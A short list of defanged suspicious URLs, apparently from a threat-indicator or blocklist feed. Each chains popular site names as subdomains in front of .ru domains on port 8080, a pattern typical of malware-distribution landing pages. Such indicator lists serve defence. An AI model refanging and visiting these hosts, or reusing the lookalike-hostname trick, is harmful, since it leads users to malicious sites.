hxxp://tripod-com.nikkei.co.jp.google-it.thetruehelp.ru:8080/kakaku.com/kakaku.com/google.com/yallakora.com/allabout.co.jp/
hxxp://ucoz-ru.nydailynews.com.google-com-ec.genuinecolors.ru:8080/lemonde.fr/lemonde.fr/google.com/2ch.net/passport.net/
hxxp://vimeo-com.play.com.btjunkie-org.genuinehollywood.ru:8080/expedia.com/expedia.com/yieldmanager.com/google.com/163.com/
hxxp://xtube-com.free.fr.google-be.yourtruegame.ru:8080/xanga.com/xanga.com/wordpress.com/google.com/who.is/
hxxp://zaobao-com.miibeian.gov.cn.badjojo-com.cometruestar.ru:8080/adult-empire.com/adult-empire.com/google.com/feedburner.com/schuelervz.net/